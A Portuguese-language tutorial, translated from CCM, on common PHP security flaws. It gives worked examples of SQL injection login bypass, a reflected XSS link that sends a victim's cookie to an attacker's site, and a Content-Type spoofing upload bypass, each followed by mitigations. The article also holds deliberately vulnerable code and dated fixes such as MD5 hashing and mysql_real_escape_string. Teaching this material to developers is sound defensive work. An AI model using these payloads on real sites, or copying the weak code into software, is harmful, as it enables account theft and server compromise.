Faça uma pergunta »

PHP - Erros comuns (injeção Sql, xss, upload)

Julho 2015


PHP Erros comuns [Sql, Script, upload]



Preâmbulo


Nos últimos anos assistimos à explosão da Internet: 50% das casas têm uma conexão de banda larga e o número de sites presentes na Web não pára de aumentar. A Internet representa altos riscos financeiros, culturais e comerciais. É raro encontrar uma pessoa que nunca tenha estado em um web site.


Muitas são as pessoas que têm vontade de criar seu próprio site, apesar da baixa dos preços para a criação de web sites e os esforços das agências de web para oferecer sites cada vez mais eficientes, adaptados aos orçamentos dos consumidores, limitados pela crise econômica.


No entanto, não devemos esquecer que o desenvolvimento da Web é uma "disciplina" relativamente complexa e requer um investimento pessoal considerável, o que pode vir a ser uma dor de cabeça quando somos iniciantes. Este problema pode levar à falhas de segurança em um website.

Estrutura e objetivos deste artigo


Este artigo se compõe de três seções técnicas (injeção de SQL, falhas XSS, hacking de formulários de atualização). Apesar dele não se destinar a fornecer um método de hacking, cada seção será acompanhada de um exemplo, etapa por etapa, ilustrando uma possível pirataria devido a uma má programação. Sendo o objetivo, principalmente, propor uma solução segura contra diferentes tipos de ataques. Obviamente, o artigo não descreverá todas as maneiras possíveis e imagináveis de hackear um site. No entanto, o exemplo que ilustrará cada seção será claro (com o código para apoiar) e ajudará a compreender o princípio e, sobretudo, propor um meio de se proteger.

A quem se destina esse artigo?


Este artigo é para quem deseja criar um site com um mínimo de características técnicas, tais como "sistema de login e senha, motor de busca, formulário". Portanto, são interfaces onde o usuário pode interagir, muito mais que com o mouse.

Que tipo de site se expõe aos riscos de pirataria e por quê?


Os sites mais vulneráveis às falhas de segurança são frequentemente, os sites de comércio eletrônico (loja on-line) e sites personalizados (site de namoro, site de comunidade, fórum,...).

Por quê?

Todos estes tipos de sites contêm formulários a serem preenchidos pelos usuários. Tenha em mente que, através desses formulários o usuário envia dados para o site, que você não sabe a origem. Estes mesmos dados, na maioria dos casos, serão armazenados, diretamente, em um banco de dados, para serem postados novamente, ou não, no site. Moral da história: o usuário contribui para o desenvolvimento do seu site e os dados passados nos formulários podem ser mal-intencionados (HTML, JavaScript, SQL, AJAX, ...).

Injeções de SQL

Definição de injeção de SQL


Uma injeção de SQL representa o fato de inserir uma porção de linguagens SQL (Structured Language Query), não desejadas, no seio de uma pesquisa SQL inicial. Normalmente, essa prática é usada para "passar" um formulário de login, obter mais conteúdo que o site quer exibir ou extrair, sutilmente, informações diversas.

Baixar o exemplo nas injeções de SQL


Baixar o exemplo detalhado em forma de tutorial (Comentário no início do arquivo).

Princípio da injeção de SQL


Vamos ver um exemplo muito simples de fazer passar um formulário de login mal controlado (pense me fazer o download e testar o exemplo). O nível de competência em SQL & PHP para compreender este exemplo não precisa ser muito alto, mas requer um pouco de conhecimento das consultas básicas do tipo SELECT no SQL.

A passagem de um formulário é muito simples. Não sabendo o nome do usuário ou senha, a ideia é encontrar uma maneira de inserir uma igualdade na primeira consulta SQL para que ela retorne um resultado qualquer.

Exploração da injeção de SQL


Nada como um pequeno exemplo para ilustrar tudo isso. Amadores desenvolvedores preparem-se, o que segue é muito importante e pode parecer desencorajador no início, caso você não conheça o SQL muito bem (não deixe de se atualizar com um tutorial (para começar, os exemplos de pesquisas são bastante simples).

Consulta SQL para interrogar um banco de dados a fim de validar, ou não, um login e uma senha:


SELECT user_login FROM user WHERE user_login='login' AND user_password='password'

Code PHP para validar, ou não, a autenticação de um usuário apresentando uma falha da injeção SQL:
#@descrição: função para saber se um usuário é válido, ou não, em relação ao seu login e senha       
#@param:       
# string: $s_login => login entrado no campo login do formulário de login      
# string: $s_password => senha entrada no campo password do formulário de login       
#@return:       
# boolean: true se o par login/senha é válido, se não false       
 #@used: index_injection_html.php       
function b_login_injection($s_login, $s_password) {      
 global $s_query;      
 $s_query = "SELECT user_login FROM eis_user WHERE user_login='".$s_login."' AND user_password='".md5($s_password)."' ";      
 return (mysql_num_rows(mysql_query($s_query)) == 1)?true:false;      
}      

Observação: anotar o contrato de desenvolvimento utilizado aqui (nome das variáveis e funções em minúsculas, precedido por uma carta descrevendo o tipo da variável ou o tipo de retorno pela função (b_login: retorna um booleano, $s_login: contém um dado do tipo string (cadeia de caracteres) e comentários sobre a função (muito útil para a recuperação do projeto, ou quando você mergulha de novo em seu código alguns meses, anos mais tarde).

A função seguinte retornará ao TRUE (verdadeiro) se o login e a senha estiverem corretos, caso contrário ele retornará ao FALSE (falso).

Agora, retomemos a nossa consulta de base, exceto que em vez de entrar um login e uma senha qualquer no formulário de login, desta vez, nós entraremos em login "inject'='inject' LIMIT 0,1 - fim!" e em senha "qualquer senha irá bem, de qualquer maneira esta parte da pesquisa é em comentário!".

A consulta SQL ficará mais ou menos assim:

SELECT user_login FROM user WHERE user_login='inject'='inject' LIMIT 0,1 - fin !'  AND user_password = 'qualquer senha irá bem, de qualquer maneira esta parte da pesquisa é em comentário!' 

Resultado: a pesquisa vai buscar na tabela "user", se há um login chamado "inject" igual a si mesmo. Dá para entender rapidamente que inject =inject representa uma igualdade, então, SIM esta pesquisa retorna resultados. (Você pode fazer o teste fazendo uma pesquisa do tipo [SELECT * FROM user WHERE 1=1]

Explicações
  • Por que LIMIT 0,1: Limite é uma cláusula SQL para limitar o número de resultados retornados pela pesquisa, ou seja, LIMIT 0,1 retornará 1 resultado (o que é perfeito, já que a função b_login retorna TRUE somente se o número de linha retornado pela consulta é igual a 1.
  • Por que o sinal "--": a instrução - permite escrever um comentário, o que significa que tudo o que está por trás - não será interpretado pelo motor SQL.


Se compreendermos o princípio, veremos imediatamente que a pesquisa que será executada na realidade é:
SELECT user_login FROM user WHERE user_login='inject'='inject' LIMIT 0,1


Então, a consulta retornará um resultado cuja função b_login retornará TRUE.

Nunca deixe o login e/ou a senha de administrador no primeiro registro de uma tabela, pois se o código corre um risco de injeção em um formulário de login, então, o hacker será autenticado como administrador e, dependendo do funcionamento do site (gestão de direitos), ele poderá ver aparecer em sua página o link "Administrar o site", o que lhe dará acesso ao "BackOffice" do site (interface de gerenciamento) e lhe permitirá explorar outras vulnerabilidades, a fim de enviar arquivos PHP para o servidor, diretamente (com esses arquivos PHP ele poderá interrogar o servidor diretamente (através do command exec) e, porque não, recuperar o conteúdo do servidor, criando um arquivo ZIP de uma pasta desejada, em uma pasta disponível na internet (misto de comandos shell, como o ls, tar, zip ...))</ital> .

Proteção de injeção de SQL


Se proteger? Claro, mas o que está errado?
O exemplo acima mostra que, com o caractere "'"(aspas simples) podemos "cortar" a pesquisa para, depois, modificá-la, como quisermos. O problema é que não podemos proteger esse caractere. Na verdade, para poder utilizar "\" (barra invertida) ou "'" (aspas simples) no valor de uma cadeia de caracteres (string), precisamos adicionar um "\" antes, ou seja, fugir desse caractere (para não levá-lo em conta).

Com o PHP, há uma infinidade de funções para evitar esse tipo de caracteres (strreplace, stripslashes...), mas para sermos mais práticos, vamos ver a função prevista para isso: ou seja, mysql_real_escape_string () no caso de uma utilização de um banco de dados MySql.

A função mysql_real_escape_string visa transformar uma cadeia de caracteres do tipo inject'='inject' - em inject\'=\'inject\' - (note que esta função também protege o \ (os mais espertos já estão pensando em enviar o código hexadecimal do caractere '(aspas), mas isso não acontecerá). Você também deve saber que esta função gera um alerta se nenhuma conexão for encontrada (ao contrário dos stripslashes, strreplace ou outras técnicas).

Veja o que daria o exemplo precedente sem vulnerabilidade na injeção de SQL
/*      
@descrição: função que permite saber se um usuário é válido, ou não, em relação ao seu login e senha       
@param:       
 string : $s_login => login entrado no campo login do formulário de login      
 string : $s_password => senha entrada no campo password do formulário de login       
@return:       
 boolean: TRUE se o par login/senha áé válido, se não, FALSE       
@used: index_injection_html.php       

  • /
function b_login_securiser($s_login, $s_password) { global $s_query; $s_query = "SELECT user_login FROM eis_user WHERE user_login='".mysql_real_escape_string($s_login)."' AND user_password='".mysql_real_escape_string(md5($s_password))."' "; return (mysql_num_rows(mysql_query($s_query)) == 1)?true:false; }


Vamos continuar no exemplo anterior e supor que reinjetamos os mesmos dados no formulário.
A consulta SQL será, mais ou menos, assim:

SELECT user_login FROM user WHERE user_login='inject\'=\'inject\' LIMIT 0,1 - fim!'  AND user_password='  qualquer senha irá bem, de qualquer maneira esta parte da pesquisa é em comentário!'


Resultado: a pesquisa vai buscar na tabela do usuário, se há um login chamado "inject'='inject' LIMIT 0,1 - fim!" e uma senha igual a "qualquer senha irá bem, de qualquer maneira esta parte da pesquisa é em comentário!"
Neste caso, o controle do login e/ou senha é protegido e a consulta SQL não poderá ser alterada e retornará 0 resultados e a função b_login retornará FALSE.

Conclusão da injeção de SQL


A proteção contra as injeções de SQL (que passa pelo escapamento dos caracteres especiais, como o "\" ou o "'"(aspas) ...) é uma necessidade, infelizmente, muitos sites ainda são vulneráveis a tais ataques. No entanto, a proteção contra as injeções não requer, para um desenvolvedor, mais do que alguns segundos, como mencionado acima e é indispensável! O processo de proteção de um web site não deve ser levado na brincadeira. Ainda mais por que esste tipo de falha de segurança pode custar bem caro, sobretudo para um web site. Na verdade, esse tipo de falha de segurança pode ajudar um hacker (explorando uma série de erros cometidos durante a fase de desenvolvimento) a se infiltrar em um servidor e começar a atacar os outros sites hospedados na mesma máquina . Os dados dos usuários que, em princípio, deveriam ser confidenciais, agora não são mais.... Os exemplos de operação são, intencionalmente, limitados, pois eles não se destinam a instruir a pirataria, mas saiba que com um pouco de bom senso e bons conhecimentos em SQL, você pode ir longe, a partir de uma pequena injeção de SQL.

Recursos da injeção de SQL


Wikipedia:Recursos da injeção de SQL
PHP : Recursos mysql_real_escape_string

XSS

Definição de XSS


XSS: cross-site scripting, representa o fato de injetar o código HTML, javascript... na página Web através de um formulário ou uma URL contendo o JavaScript recodificado para enganar o usuário.

Baixar o exemplo XSS


Baixar (em francês) o exemplo detalhado em forma de tutorial

Princípio do XSS


O princípio é muito simples e não requer muitos conhecimentos em desenvolvimento, um simples pré-requisito em HTML, PHP e Javascript já serve para poder, rapidamente roubar informações como o cookie, que contém as configurações de conexão de um usuário através de um redirecionamento JavaScript. Estas informações poderão ser usadas mais tarde para se conectar à conta de um usuário, sem login ou senha. A primeira ideia consiste em enviar o JavaScript em um formulário onde as informações serão publicadas no site (por exemplo, um perfil). Uma segunda ideia, um pouco mais complicada a pôr em prática (pois a falha deixada no site é menos operacional), consiste em enviar um link (geralmente codificado para ser mais discreta) para um usuário de um site, que aponta para uma URL, deste mesmo site cuja página reexibirá as informações passadas como parâmetros (por exemplo, um motor de busca que, após validação do formulário, reexibe o texto de pesquisa).

Exploração do XSS


Um exemplo encontrado em muitos sites: um motor de busca que mostra as informações da pesquisa após validação do formulário. Nesse caso, quando os dados do usuário são bem controlados, mas reexibidos sem qualquer transformação, e que são injetados no formulário de código JavaScript como
< script >alert('teste injeção JS'); < /script >

depois da validação do mesmo, no recarregamento da página, quando o conteúdo da pesquisa será reexibido, então, o código JavaScript será executado. Neste caso, ele exibirá um alerta com a mensagem "teste de injeção JS". Agora imagine que neste mesmo formulário é injetado
 < script >alert(documento.cookie);< /script >

Já é mais problemático porque o conteúdo dos cookies ligados ao site, onde estamos, é exibido. Neste caso, é interessante ver o URL da página para ver coisas do tipo:
monurl.com?search=< script >alert(documento.cookie);< script >Link< /a > 


Como podemos ver, a pesquisa feita através do formulário de busca encontra-se em valor de um parâmetro do URL. Imagine um malandrinho nos enviando, para a nossa caixa de e-mail, um link como este:

<a href=http://www.monurl.com?search=<script>window.location=http://url_do_meu_site_que_vai_recuperar_o_cookie?cookie_voler=documento.cookie</script>


Compreendemos, imediatamente, que quando clicarmos neste link, chegaremos à página inicial do site (com o motor de busca), aquele que irá executar o código JavaScript passado em valor de parâmetro (search=). Neste exemplo, o código JavaScript executa um redirecionamento para um site pirata (window.location=url_do_meu_site_que_vai_recuperar_o_cookie), como parâmetro o cookie do usuário (cookie_voler=documento.cookie ) que terá clicado no link. O site pirata só precisará registrá-lo para reutilizá-lo alguns meses depois...

Neste exemplo, uma ação do usuário alvo é necessária, mas imaginemos que nós possamos entrar na descrição do nosso perfil, esta mesma linha de JavaScript ... então, cada pessoa que visitar o perfil será redirecionada para o site pirata e enviará, "gentilmente", o cookie ao malfeitor.

Proteção do XSS


Assim como as injeções de SQL, é bem fácil se proteger de tais ataques. O principal problema é que o hacker mal-intencionado consegue fazer o usuário executar o código JavaScript. Nos dois exemplos apresentados acima, os métodos para se proteger são semelhantes, a única diferença é que o código de proteção não será colocado no mesmo lugar (e isso dependerá da maneira como você evoluirá). PHP propõe funções para destruir o funcionamento das tags (< script >, < u > ...), ou excluí-las, completamente.

Para isso, dispomos da função strip_tags, que tem como objetivo remover, completamente, as tags HTML (radical) e htmlspecialchars, que converte caracteres especiais (aspas, <,>) em entidades HTML, o que permite exibir na tela as "tags" sem que elas sejam interpretadas.

Mas onde utilizar estas funções
  • antes da inserção no banco de dados do conteúdo que será reexibido no site.
  • antes da exibição de uma busca vinda do formulário.


Alguns exemplos para entender melhor o princípio:
 print " < script >alert('injection JS');< /script > ";      
 print strip_tags(" < script >alert('injection JS');< script > ");      
 print htmlspecialchar(" < script >alert('injection JS');< /script > ");      
 print htmlentities(" < script >alert('injection JS');< /script > ");         


Vê-se, rapidamente, que a primeira linha vai executar o código javascript e exibir um alerta, enquanto que a segunda linha vai apagar as tags apenas para exibir na página < script >alert('injeção JS') < /script >, já as terceira e quarta linhas exibirão na página

Conclusão sobre o XSS


Muitos sites na web ainda apresentam esse tipo de falha de segurança em diferentes graus, como foi explicado nesta dica (motor de busca, perfil). No entanto, é muito simples e rápido prever esse tipo de falha. Assim como a proteção contra as injeções de SQL, uma simples chamada da função apropriada para o lugar certo, basta para evitar os efeitos nefastos, que esse tipo de falha de segurança pode gerar para os usuários de um site, e seu proprietário. Alguns sites não julgam necessário proteger seus motores de busca, até o dia em que... Os hackers são muito espertos e sabem ser discretos; não devemos esperar que o site seja invadido para nos preocuparmos, porque pode levar anos antes que o proprietário se dê conta. Logo, há um real trabalho a ser feito, antes que seja tarde demais.

Recursos do XSS


Wikipedia : http://pt.wikipedia.org/wiki/Cross-site_scripting
PHP : http://www.php.net/strip_tags
http://www.php.net/htmlspecialchars
http://www.php.net/htmlentities

Formulário de atualização

Definição do formulário de atualização


Formulário de atualização: formulário para enviar arquivos ao servidor de um site, como imagens, arquivo Word, Excel.... Usado por um hacker, o envio do arquivo para o site, através do formulário é, de longe, a melhor maneira causar danos. No caso do seu controle ser negligenciado, ou mal feito, ele oferece a possibilidade de enviar arquivos PHP diretamente ao servidor e fornece, ao hacker, uma passarela de acesso direto ao servidor, que hospeda o site.

Baixar o exemplo de pirataria de um formulário de atualização


Baixar o exemplo detalhado em forma de tutorial)

Princípio de hacking de um formulário de atualização


O método mais comumente usado para fazer passar um script PHP para um servidor ,através de um formulário de atualização, é a usurpação do tipo MIME ("Internet Media Type" ou "content type"). A renomeação inteligente de um arquivo (meuarquivo.jpg. php), o uso de um byte nulo (\0 / %00) ou alterar o cabeçalho em um arquivo....

Exploração do hacking de um formulário de atualização


Nem todos os casos serão explicadas. Neste exemplo será tratada a passagem do arquivo PHP através da usurpação do "content type". O código abaixo foi recuperado no: http://phpcodeur.net/articles/php/upload (Neste artigo, o código protege a falha do byte nulo através de uma regex, verifique o tipo MIME, mas o controle $ não é suficiente. O envio de um arquivo PHP não é muito complicado.

if( isset($_POST['upload']) ) // se o formulário foi submetido      
{      
    $content_dir = 'upload/'; // pasta onde o arquivo será movido      
    $tmp_file = $_FILES['fichier']['tmp_name'];      
    if( !is_uploaded_file($tmp_file) ) {      
        exit("Arquivo não encontrado");      
    }      
    // Agora vamos verificar a extensão      
    $type_file = $_FILES['arquivo']['tipo'];      
    if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {      
        exit("O arquivo não é uma imagem");      
    }      
    // copiamos o arquivo na pasta de destino      
    $name_file = $_FILES['arquivo']['name'];      
    if( !move_uploaded_file($tmp_file, $content_dir . $name_file) ) {      
        exit("Impossível copiar o arquivo no $content_dir");      
    }      
    echo "O arquivo foi atualizado com êxito";      
}


A abordagem para passar o controle do formulário é muito simples. Existem várias maneiras de alterar os dados: uma solução simples consiste em usar um plugin Mozilla, chamado "tamper data", que tem por objetivo, modificar os dados que trafegam entre a página e o servidor, durante a submissão do formulário. Iniciada a alteração no plugin e o arquivo PHP submetido através do formulário, podemos observar no "tamper data" que os dados transmitidos são:

-----------------------------74702573920666\r\nContent-Disposição: form-data; name="photo"; filename="index.php.php"\r\nContent-Type: application/x-httpd-php\r\n\r\n.

Na verdade, se você não mexer em nada e deixar a pesquisa HTTP continuar, normalmente, então o código seguinte terá o efeito desejado, seja o de parar o script e exibir a mensagem de erro. O arquivo não é uma imagem.

$type_file = $_FILES['fichier']['type'];      
 if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {      
       exit("Le fichier n'est pas une image");      
}


Mas alguns usuários mal-intencionados não hesitarão em substituir o Content-Type:application/x-httpd-php por Content-Type:image/jpeg. Aqui, todo mundo entende que o código não exibirá erro porque o "content type" é do tipo jpeg, enquanto que o arquivo enviado é um arquivo PHP. Baixe o exemplo, tudo da amostra é explicado, passo a passo, com as capturas de tela.

Proteção contra o hacking de um formulário de atualização


Formulário de atualização = perigo!!! Em alguns casos, pode ser útil controlar, adequadamente, o arquivo enviado:
  • o tipo MIME (por que não...)
  • o cabeçalho (por que não...)

Mas principalmente:
Testar bem a extensão do arquivo (a última) com funções reversas (strrpos ou strrstr)
É essencial renomear o arquivo enviado (ex : arquivo_15_01_2011_10h30_usuário.jpg).
Para uma imagem: redimensioná-la (copy pixel por pixel).

Exemple de código seguro
if(isset($_POST['upload_secure'])){      
 if (isset($_FILES['arquivo'])) {      
  unset($erro);      
  //Extensão autorizada      
  $extensions_ok = array('png', 'gif', 'jpg', 'jpeg', 'JPG', 'bmp');      
  //Caminho da pasta de imagem      
  $dest_pasta = 'C:\\wamp\\www\\upload\\';      
  // verificações      
  if( !in_array( substr(strrchr($_FILES['arquivo']['name'], '.'), 1), $extensions_ok ) ) {      
   $erro = 'O arquivo não\' é uma imagem';        
  }      
  // cópia do arquivo      
  if(!isset($erro)) {      
   /* recuperar a extensão do arquivo */      
   $i_pos_point = strrpos($_FILES['arquivo']['name'],'.');      
   $s_extension = substr($_FILES['arquivo']['name'], $i_pos_point ,strlen($_FILES['arquivo']['name']) - $i_pos_point);      
   //renomie o arquivo enviado com a boa extensão      
   $dest_arquivo = date('Y_m_d_H_i')."nom_user".$s_extension;      
   // formatagem do nome do arquivo      
   move_uploaded_file($_FILES['arquivo']['tmp_name'], $dest_pasta . $dest_arquivo);      
   //Nesta parte, pode ser interessante abrir o arquivo e assegurar que não há código dentro.   
   //Uma boa prática para as imagens é redimensioná-la (isso evitará problemas de segurança e de integração HTML      
   print "Arquivo bem salvo com o nome de " . $dest_arquivo;      
  }       
 }      
}      

Existem muitas oportunidades para proteger um formulário de atualização, seja no âmbito de uma atualização de imagem, seja uma atualização de arquivo (um exemplo bem bobo, consiste em abrir o arquivo (fopen, file) e verificar a ausência de tag <?php <? ?> no arquivo).

Conclusão sobre o hacking de um formulário de atualização


Ao contrário das falhas XSS e SQL , uma atualização de arquivo em PHP é mais difícil de proteger e exige mais competências técnicas. Um site com brechas de segurança em termos de atualização será hackeado na primeira ocasião, proporcionará não só, um controle total do seu site, como de todo o servidor, em função da configuração (PHP: Utilização dos comandos exec, shell_exec. ..). Este tipo de falha é, frequentemente, encontrado em interfaces de administração (BackOffice) e aplicação Web, pois os desenvolvedores partem do princípio que um BackOffice é um lugar seguro e utilizado apenas pelos administradores, mas cuidado com o dia em que um hacker conseguirá se infiltrar na interface ...

Recursos sobre o hacking de um formulário de atualização


http://www.vulgarisation-informatique.com/upload-php.php (ler bem o fim do artigo)

Resumo rápido

  • Se proteger das injeções de SQL : mysql_real_escape_string()
  • Se proteger das injeções de HTML/JS ... : htmlspecialchar(), strip_tags()
  • Bloquear seu formulário de atualização: renomear o arquivo enviado & o teste da extensão, remover os caracteres especiais através de uma regex

Conclusão


Este trabalho apresenta algumas falhas de segurança, os exemplos podem ser multiplicados à vontade e existem muitos outros. Um sistema 100% seguro não existe, especialmente por que àss falhas relacionadas a erros de desenvolvimento, acrescentam-se vulnerabilidades ligadas aos servidores (web, smtp, pop, ftp, ...), aos sistemas operacionais, assim como à ingenuidade dos usuários. Para a web a regra de ouro é nunca confiar no usuário e nos dados que ele transmitirá a um site. .


Tradução feita por Lucia Maurity y Nouira
Para uma leitura offline, é possível baixar gratuitamente este artigo no formato PDF:
Php-erros-comuns-injecao-sql-xss-upload.pdf

Veja também

Na mesma categoria

PHP - Erreurs courantes (injection Sql, xss, upload)
Por Bablon Arnaud em 18 de janeiro de 2011
Artigo original publicado por Bablon Arnaud. Tradução feita por pintuda.
Este documento, intitulado « PHP - Erros comuns (injeção Sql, xss, upload) »a partir de CCM (br.ccm.net) está disponibilizado sob a licença Creative Commons. Você pode copiar, modificar cópias desta página, nas condições estipuladas pela licença, como esta nota aparece claramente.